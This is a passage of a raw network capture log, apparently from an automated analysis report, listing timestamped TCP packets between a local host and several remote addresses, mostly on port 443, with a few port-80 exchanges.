Nov 18, 2024 00:27:37.678179979 CET	49830	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:37.678186893 CET	443	49830	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:37.678519964 CET	443	49830	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:37.723427057 CET	443	49829	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:37.723532915 CET	49829	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:37.726206064 CET	49829	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:37.726221085 CET	443	49829	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:37.726480007 CET	443	49829	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:37.729027987 CET	49830	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:37.752104998 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.752232075 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.752371073 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.753035069 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.753731966 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.776170015 CET	49829	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:37.785908937 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.797872066 CET	49829	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:37.797945976 CET	49829	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:37.797960043 CET	443	49829	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:37.798101902 CET	49829	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:37.798645973 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.798666000 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.800939083 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.800992012 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.801430941 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.801446915 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.801789999 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.801806927 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.802130938 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.802135944 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.803559065 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.803575039 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.804116964 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.804124117 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.818998098 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.819021940 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.819082022 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.819227934 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.819236994 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.819540024 CET	49830	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:37.839355946 CET	443	49829	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:37.842344046 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.842777967 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.842804909 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.843239069 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.843245983 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.863377094 CET	443	49830	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:37.927098036 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.927187920 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.927253008 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.927484035 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.927505016 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.927517891 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.927524090 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.930197954 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.930305004 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.930356026 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.930370092 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.930409908 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.930435896 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.930466890 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.930500984 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.930500984 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.930510044 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.930516958 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.931341887 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.931380033 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.931464911 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.931835890 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.931853056 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.932336092 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.932410955 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.932461977 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.932621002 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.932636976 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.932650089 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.932656050 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.933584929 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.933610916 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.933687925 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.933916092 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.933933020 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.935127974 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.935142040 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.935204983 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.935349941 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.935363054 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.995596886 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.995671034 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.995724916 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.996006012 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.996021986 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.996037006 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.996042967 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.999068022 CET	49847	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.999083996 CET	443	49847	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:37.999147892 CET	49847	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.999331951 CET	49847	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:37.999346972 CET	443	49847	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.044177055 CET	443	49829	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:38.044835091 CET	49829	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:38.044869900 CET	443	49829	40.113.110.67	192.168.2.6
Nov 18, 2024 00:27:38.044898033 CET	49829	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:38.044929028 CET	49829	443	192.168.2.6	40.113.110.67
Nov 18, 2024 00:27:38.062819004 CET	443	49830	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:38.062881947 CET	443	49830	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:38.062931061 CET	49830	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:38.063040018 CET	49830	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:38.063051939 CET	443	49830	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:38.063066006 CET	49830	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:38.063071966 CET	443	49830	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:38.110120058 CET	49848	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:38.110133886 CET	443	49848	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:38.110234022 CET	49848	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:38.110519886 CET	49848	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:38.110532045 CET	443	49848	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:38.387245893 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.387455940 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:38.387473106 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.389178991 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.389249086 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:38.390530109 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:38.390685081 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.390738010 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:38.390744925 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.432475090 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:38.467655897 CET	80	49837	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:38.467731953 CET	49837	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:38.549132109 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.550872087 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.550887108 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.551495075 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.551498890 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.575562000 CET	49837	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:38.580507040 CET	80	49837	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:38.635677099 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.635734081 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.635776997 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.635832071 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:38.635859013 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.635931969 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:38.635957003 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.636343002 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.636389017 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:38.636398077 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.644475937 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.644601107 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:38.644609928 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.678044081 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.678599119 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.678610086 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.679096937 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.679106951 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.683099031 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.683939934 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.685973883 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.686003923 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.686455965 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.686460018 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.686543941 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:38.686553955 CET	443	49841	172.217.23.110	192.168.2.6
Nov 18, 2024 00:27:38.686922073 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.686933041 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.687321901 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.687325954 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.698062897 CET	49823	443	192.168.2.6	216.58.206.68
Nov 18, 2024 00:27:38.698551893 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.698617935 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.698682070 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.698698997 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.698712111 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.698771000 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.699353933 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.699368000 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.699378014 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.699383974 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.718079090 CET	443	49847	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.719161987 CET	49847	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.719180107 CET	443	49847	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.727382898 CET	49847	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.727387905 CET	443	49847	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.729326963 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:38.731220007 CET	49849	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.731254101 CET	443	49849	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.731334925 CET	49849	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.731467962 CET	49849	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.731478930 CET	443	49849	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.731781960 CET	49841	443	192.168.2.6	172.217.23.110
Nov 18, 2024 00:27:38.810630083 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.810765982 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.811103106 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.816875935 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.817074060 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.817142963 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.817692995 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.817790031 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.817908049 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.837994099 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.838002920 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.838016987 CET	49845	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.838025093 CET	443	49845	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.838291883 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.838308096 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.838341951 CET	49844	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.838350058 CET	443	49844	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.839194059 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.839200020 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.839215994 CET	49846	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.839221954 CET	443	49846	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.847487926 CET	49850	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.847501993 CET	443	49850	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.847579956 CET	49850	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.848702908 CET	49851	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.848723888 CET	443	49851	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.849164009 CET	49851	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.849164009 CET	49851	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.849195004 CET	443	49851	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.849288940 CET	49850	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.849301100 CET	443	49850	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.850164890 CET	443	49847	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.850219965 CET	443	49847	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.850275993 CET	443	49847	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.850325108 CET	49847	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.850358009 CET	49847	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.850373983 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.850398064 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.850450993 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.850701094 CET	49847	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.850701094 CET	49847	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.850707054 CET	443	49847	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.850714922 CET	443	49847	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.853074074 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.853106976 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.853188992 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.853205919 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.853379011 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.853647947 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:38.853663921 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:38.958590984 CET	443	49848	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:38.958775997 CET	49848	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:38.960100889 CET	49848	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:38.960113049 CET	443	49848	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:38.960326910 CET	443	49848	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:38.961611032 CET	49848	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:39.007343054 CET	443	49848	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:39.206028938 CET	443	49848	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:39.206100941 CET	443	49848	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:39.206196070 CET	49848	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:39.206990957 CET	49848	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:39.206990957 CET	49848	443	192.168.2.6	184.28.90.27
Nov 18, 2024 00:27:39.207015038 CET	443	49848	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:39.207025051 CET	443	49848	184.28.90.27	192.168.2.6
Nov 18, 2024 00:27:39.351847887 CET	80	49837	185.215.113.206	192.168.2.6
Nov 18, 2024 00:27:39.352047920 CET	49837	80	192.168.2.6	185.215.113.206
Nov 18, 2024 00:27:39.472903013 CET	443	49849	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.473537922 CET	49849	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.473551035 CET	443	49849	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.474237919 CET	49849	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.474242926 CET	443	49849	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.581691027 CET	443	49850	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.583275080 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.589512110 CET	443	49851	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.594098091 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.594172955 CET	49850	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.594187975 CET	443	49850	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.596620083 CET	49850	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.596626043 CET	443	49850	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.606786966 CET	443	49849	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.606954098 CET	443	49849	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.607026100 CET	49849	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.607176065 CET	49849	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.607176065 CET	49849	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.607188940 CET	443	49849	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.607197046 CET	443	49849	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.613854885 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.613867044 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.614576101 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.614579916 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.620577097 CET	49851	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.620589972 CET	443	49851	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.620616913 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.620637894 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.621160030 CET	49851	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.621165037 CET	443	49851	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.621515036 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.621521950 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.640204906 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.640232086 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.640295982 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.640516043 CET	49854	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.640532017 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.722866058 CET	443	49850	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.722944021 CET	443	49850	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.723026991 CET	49850	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.723875999 CET	49850	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.723875999 CET	49850	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.723884106 CET	443	49850	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.723891973 CET	443	49850	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.731837034 CET	49855	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.731868029 CET	443	49855	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.732012987 CET	49855	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.739609003 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.739692926 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.741306067 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.747078896 CET	443	49851	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.747333050 CET	443	49851	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.749206066 CET	49851	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.751576900 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.751667023 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.751748085 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.751765013 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.751795053 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.751848936 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.763886929 CET	49855	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.763907909 CET	443	49855	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.766621113 CET	49853	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.766632080 CET	443	49853	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.768374920 CET	49851	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.768399000 CET	443	49851	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.768404007 CET	49851	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.768409967 CET	443	49851	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.769784927 CET	49852	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.769804001 CET	443	49852	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.772912025 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.772938967 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.773015022 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.773149967 CET	49856	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.773163080 CET	443	49856	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.773365974 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.773391008 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.773546934 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.773678064 CET	49857	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.773689032 CET	443	49857	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.774836063 CET	49858	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.774844885 CET	443	49858	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:39.775022030 CET	49858	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.775120974 CET	49858	443	192.168.2.6	13.107.246.45
Nov 18, 2024 00:27:39.775135994 CET	443	49858	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.493673086 CET	443	49854	13.107.246.45	192.168.2.6
Nov 18, 2024 00:27:40.498379946 CET	49854	443	192.168.2.6	13.107.246.45
